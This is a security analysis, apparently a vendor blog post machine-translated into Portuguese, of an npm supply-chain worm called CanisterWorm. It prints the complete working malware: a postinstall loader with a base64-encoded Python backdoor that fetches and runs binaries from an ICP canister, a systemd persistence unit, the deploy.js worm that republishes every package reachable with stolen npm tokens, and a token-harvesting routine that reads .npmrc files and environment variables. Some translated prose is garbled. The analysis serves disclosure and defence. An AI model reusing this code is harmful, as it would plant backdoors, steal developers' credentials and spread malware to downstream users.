Em 20 de março de 2026, às 20:45 UTC, detetámos um grande número de pacotes comprometidos no NPM por um novo worm nunca antes observado. Denominámos este ataque específico de CanisterWorm, uma vez que utiliza um ICP Canister para o seu canal C2 de entrega de dados, o que constitui a primeira vez que observamos algo semelhante numa campanha deste tipo.
Até agora, chegaram a um acordo:
- 28 embalagens no
@EmilGroupâmbito - O pacote
@teale.io/eslint-config, que regista 7000 downloads semanais
Parece tratar-se de uma reação direta ao ataque contraTrivy ocorridoTrivy de 24 horas, conforme documentado em pormenor por Wiz, e ter sido levado a cabo pelo mesmo agente malicioso, o TeamPCP.
Análise técnica
Segue-se uma descrição dos principais detalhes técnicos do ataque:
- 🬊 Arquitetura em três fases. Carregador pós-instalação do Node.js → porta traseira persistente em Python → ponto de entrega oculto hospedado no ICP para a entrega dinâmica da carga útil.
- Worm que se propaga automaticamente.
deploy.jsaceita tokens do npm, resolve nomes de utilizador, enumera todos os pacotes publicáveis, atualiza as versões de patch e publica o conteúdo em todo o âmbito. 28 pacotes em menos de 60 segundos. - 😎 Persistência do systemd. Instala um serviço ao nível do utilizador com
Reiniciar=sempre. Funciona mesmo após reinicializações, reinicia após falhas, não requer acesso de root. - 🌐 O canister ICP como ponto de entrega secreta C2. Um canister na rede principal do Internet Computer devolve um URL que aponta para uma carga binária. Descentralizado, resistente à censura, sem um único ponto de remoção.
- 🔄 Rotação remota da carga útil. O controlador do canister pode alterar o URL a qualquer momento, enviando novos ficheiros binários para todos os anfitriões infetados sem alterar o implante.
- ⏱️ Evasão do ambiente de teste. Suspensão de 5 minutos antes do primeiro sinal, intervalo de sondagem de ~50 minutos a partir daí.
- 😏 Falha silenciosa. Todo o processo pós-instalação está contido em
try/catch.npm installfunciona normalmente em todas as plataformas; o backdoor só se ativa no Linux com o systemd. - 🐘 Mascaramento do PostgreSQL. Todos os artefactos cujos nomes foram definidos para se misturarem nos computadores dos programadores:
pgmon,pglog,.pg_state. - 📄 Preservação do README. O worm obtém o README original de cada pacote de destino antes da publicação, para manter as aparências.
Carga útil - Malware
Segue-se a principal carga maliciosa. Este ficheiro é executado automaticamente como um postinstall gancho durante npm install. Eis o que faz, passo a passo:
- 🔓 Decodifica a carga útil incorporada. A longa sequência Base64 é um script em Python (o backdoor de segunda fase que analisaremos a seguir). É descodificada e gravada em
~/.local/share/pgmon/service.py. - 🟔 Cria um serviço de utilizador no systemd. Grava um ficheiro de unidade em
~/.config/systemd/user/pgmon.serviceque executa o script Python comReiniciar=sempree um atraso de reinício de 5 segundos. Não é necessário ter acesso de root, nem é solicitada uma palavra-passe. - 🀨 Inicia o serviço imediatamente. Funciona
systemctl --user daemon-reload, em seguida, ativa e inicia o serviço. A porta traseira está agora em execução e sobreviverá a reinicializações e falhas do sistema. - 🐘 Finge ser uma ferramenta do PostgreSQL. O serviço chama-se
pgmon, o ficheiro binário que descarrega posteriormente chama-sepglog, e o ficheiro de estado é.pg_state. Um programador que desse uma olhadela aos serviços em execução nem sequer prestaria atenção.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Carga útil - Backdoor em Python
Ao descodificar a carga útil do systemd codificada em base64, obtém-se o seguinte. Trata-se da porta traseira propriamente dita que permanece no sistema. Utiliza apenas módulos da biblioteca padrão do Python, pelo que não é necessário instalar nada.
- ⏱️ Espera 5 minutos antes de fazer qualquer coisa. Tempo suficiente para escapar à maioria dos ambientes sandbox que monitorizam comportamentos suspeitos de forma imediata.
- 📡 Liga para casa a cada ~50 minutos. Função
g()contacta um contêiner ICP com um User-Agent do navegador falsificado. O contêiner não distribui malware diretamente. Apenas devolve um URL em texto simples, apontando para o local onde o ficheiro binário real está atualmente alojado. - 📥 Descarrega e executa tudo o que lhe for pedido. Função
e()baixa o ficheiro binário para/tmp/pglog, marca-o como executável e inicia-o num processo totalmente independente. O URL é guardado em/tmp/.pg_statepara que não volte a descarregar o mesmo conteúdo duas vezes. - 🔘 Possui um interruptor de emergência integrado. Se o URL contiver
youtube[.]com, o script ignora-o. Este é o estado inativo do recipiente. O atacante arma o implante apontando o recipiente para um ficheiro binário real e desarma-o voltando a um link do YouTube. - 🔄 Suporta a rotação de cargas úteis. Se o atacante atualizar o canister para apontar para um novo URL, todas as máquinas infetadas descarregam o novo ficheiro binário na sua próxima consulta. O ficheiro binário antigo continua a ser executado em segundo plano, uma vez que o script nunca encerra os processos anteriores.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Esta carga útil e o domínio referido parecem ser semelhantes, se não idênticos ao sysmon.py carga maliciosa do Trivy . Neste momento, o URL devolvido pelo C2 é um vídeo do YouTube do tipo «Rickroll». Isto pode mudar a qualquer momento e passar a distribuir uma carga maliciosa propriamente dita.
Carga útil - Worm
O pacote também inclui deploy.js, uma ferramenta de autopropagação que o atacante executa manualmente para espalhar a carga maliciosa por todos os pacotes aos quais um token npm roubado tem acesso. O worm é muito simples. Parece estar inteiramente codificado em Vibe e é autoexplicativo. Não foi feita qualquer tentativa de ofuscação. Isto não é acionado por npm install. Trata-se de uma ferramenta autónoma que o atacante executa com tokens roubados para maximizar o alcance do ataque. Eis o que ela faz:
- 🔑 Suporta vários tokens. Leituras
NPM_TOKENS(separados por vírgulas) ouNPM_TOKENdo ambiente. Cada token é processado de forma independente, o que significa que uma única execução pode comprometer várias contas. - 🔍 Determina a quem pertence o token. Para cada token, chama o npm
/-/quem sou euponto final para obter o nome de utilizador associado. Os tokens inválidos ou expirados são ignorados. - 📦 Enumera todos os pacotes para os quais a conta pode publicar. Utiliza a API de pesquisa do npm com
maintainer:<username>, paginados em lotes de 250. Foi assim que descobriu todos os 28@emilgrouppacotes. - 🟔 Atualiza automaticamente a versão do patch. Recupera o valor atual
mais recenteversão de cada pacote de destino e aumenta o número do patch.1.54.0torna-se1.54.1,1.97.1torna-se1.97.2. A nova versão parece sempre um lançamento de atualização de rotina. - 📄 Mantém o ficheiro README original. Antes da publicação, recupera o ficheiro README existente do pacote de destino a partir do registo e substitui-o localmente. Após a publicação, restaura os seus próprios ficheiros. Isto faz com que a lista do npm se mantenha com um aspeto normal.
- 🔀 Reescritas
package.jsonem tempo real. Substitui temporariamente o nome e a versão do pacote no localpackage.jsoncom o do alvo, publica e, em seguida, restaura o original. Um único esqueleto malicioso, reutilizado para todos os pacotes. - 🀨 Publica com
--tag mais recente. O--acesso público --etiqueta mais recenteEsses sinalizadores garantem que a versão maliciosa se torne a instalação padrão. Qualquer pessoa que executenpm install @emilgroup/whateverobtém a versão comprometida. - 🧹 Limpa tudo o que suja. Ambos
package.jsoneREADME.mdsão sempre restaurados numfinalmentebloqueio, mesmo que a publicação falhe. O diretório local parece não ter sofrido alterações após a execução. - 📊 Imprime um resumo. Regista os sucessos e os falhas por token, registando tudo com linhas de estado precedidas por emojis. Ironicamente, está muito bem concebida para ser uma ferramenta de ataque.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Atualização: O CanisterWorm aprende a propagar-se autonomamente
Cerca de uma hora após o início @emilgroup Na sequência dessa onda, o atacante lançou uma atualização significativa para @teale.io/eslint-config versões 1.8.11 e 1.8.12 (21:16-21:21 UTC). O worm já não é uma ferramenta manual. Agora, propaga-se automaticamente.
No @emilgroup versões, deploy.js era um script independente que o atacante executava manualmente com tokens roubados. As vítimas ficavam com o backdoor, mas o worm não se propagava por si só. Isso mudou. O novo index.js adiciona um findNpmTokens() função que é executada durante postinstall e recolhe ativamente tokens de autenticação do npm a partir do computador da vítima.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Trata-se da mesma porta traseira do systemd de antes, mas com uma adição crucial no final: após instalar o serviço persistente, este recolhe todos os tokens npm que consegue encontrar e ativa o worm com eles.
- 🔍 Arranhões
.npmrcficheiros. Cheques~/.npmrc(configuração do utilizador),.npmrcno diretório de trabalho atual (configuração do projeto), e/etc/npmrc(configuração global). Analisa cada linha para_authTokenvalores. Inteligente o suficiente para ignorar variáveis de modelo como${NPM_TOKEN}que não foram interpolados. - 🔍 Recolhe as variáveis de ambiente. Procura
NPM_TOKEN,NPM_TOKENS, e tudo o que corresponder*NPM*TOKEN*. Divide em comas para lidar com variáveis compostas por vários tokens. Isto abrange a maioria das configurações de CI/CD. - 🔍 Consulta diretamente a configuração do npm. Corridas
npm config get //registry.npmjs.org/:_authTokencomo um subprocesso para capturar tokens armazenados externamente.npmrcficheiros. - Gera automaticamente o verme. Se forem encontrados tokens, o programa é iniciado
deploy.jscomo um processo em segundo plano totalmente independente com os tokens roubados. Odesactivado: truee.unref()significa que o programa continua a funcionar mesmo depois denpm installacabamentos.
É neste ponto que o ataque passa de «uma conta comprometida publica malware» para «o malware compromete mais contas e se auto-propaga». Qualquer programador ou pipeline de integração contínua que instale este pacote e tenha um token npm acessível torna-se, sem o saber, um vetor de propagação. Os seus pacotes ficam infetados, os utilizadores a jusante instalam-nos e, se algum deles tiver tokens, o ciclo repete-se.
A carga útil da porta traseira do ICP foi substituída por olá123, uma sequência de teste fictícia que, quando descodificada, resulta em bytes inválidos. Quando o systemd tenta executá-la como Python, entra em falha imediatamente, mas com Reiniciar=sempre configurar o serviço para reiniciar silenciosamente a cada 5 segundos. O atacante implementou primeiro a infraestrutura para validar toda a cadeia (recolha de tokens, geração do worm, persistência no systemd) antes de a equipar com a carga útil real.
Se isto tivesse sido lançado com a porta traseira ICP completa, todos os pacotes dos programadores comprometidos teriam-se tornado um novo vetor de infeção. A canalização funciona. Só ainda não abriram a torneira.
Esta notícia está em desenvolvimento; fique atento às novidades...

